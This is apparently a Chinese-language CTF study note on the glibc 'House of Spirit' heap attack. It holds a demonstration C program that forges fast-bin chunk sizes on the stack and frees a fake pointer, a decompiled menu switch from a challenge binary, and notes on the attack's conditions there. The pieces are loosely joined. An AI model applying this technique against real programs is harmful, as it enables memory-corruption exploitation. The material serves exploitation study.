house of spirit攻击是一种构造虚假的chunk(通常是fast chunk)，free这个chunk把它放到fastbin上，然后通过再次申请得到对这个chunk的控制权。构造虚假chunk的时候需要注意两个size，一个是这个虚假chunk的size还有一个是紧邻chunk的size。在特殊的场景下可以进行应用。
int main(void) { puts("So we will be covering a House of Spirit Attack."); puts("A House of Spirit Attack allows us to get malloc to return a fake chunk to a region we have some control over (such as the bss or stack)."); puts("In order for this attack to work and pass all of the malloc checks, we will need to make two fake chunks."); puts("To setup the fake chunks, we will need to write fake size values for the chunks."); puts("Also the first fake chunk is where we will want our chunk returned by malloc to be."); puts("Let's get started!\n");
unsigned long array[20]; printf("So we start off by initializing our array on the stack.\n"); printf("Array Start: %p\n", array); printf("Our goal will be to allocate a chunk at %p\n\n", &array[2]);
printf("Now we need to write our two size values for the chunks.\n"); printf("There are three restrictions we have to meet.\n\n");
printf("0.) Size of the chunks must be within the fast bin range.\n"); printf("1.) The size values must be placed where they should if they were an actual chunk.\n"); printf("2.) The size of the first heap chunk (the one that gets freed and reallocated) must be the same as the rounded up heap size of the malloc that we want to allocate our fake chunk.\n"); printf("That should be larger than the argument passed to malloc.\n\n");
printf("Also as a side note, the two sizes don't have to be equal.\n"); printf("Check the code comments for how the fake heap chunks are structured.\n"); printf("With that, let's write our two size values.\n\n");
/* this will be the structure of our two fake chunks: assuming that you compiled it for x64
for what we are doing the prev size values don't matter too much the important thing is the size values of the heap headers for our fake chunks */
array[1] = 0x60; array[13] = 0x40;
printf("Now that we setup our fake chunks set up, we will now get a pointer to our first fake chunk.\n"); printf("This will be the ptr that we get malloc to return for this attack\n");
unsigned long *ptr; ptr = &(array[2]);
printf("Address: %p\n\n", ptr);
printf("Now we will free the pointer to place it into the fast bin.\n");
free(ptr);
printf("Now we can just allocate a chunk that it's rounded up malloc size will be equal to that of our fake chunk (0x60), and we should get malloc to return a pointer to array[1].\n\n");
case 1: add_rifle(); break; case 2: show_added_rifles(); break; case 3: order_selected_rifles(); break; case 4: leave_message_with_order(); break; case 5: show_current_stats(); break; case 6: return __readgsdword(0x14u) ^ v1; default: continue; }
hos攻击的应用场景是比较苛刻的，需要能够有一个逻辑能触发错误的free, 目标地址的前面和后面都要是可控的才能满足两个size的检测。在实际的漏洞挖掘利用中，笔者感觉很难见到。 new_rifle_num可控，dword_804A2A8是我们的目标地址（但是不可控），off_804A2C0后面的可控，还有一个free，才能达到house of spirit的条件，实现对dword_804A2A8的控制
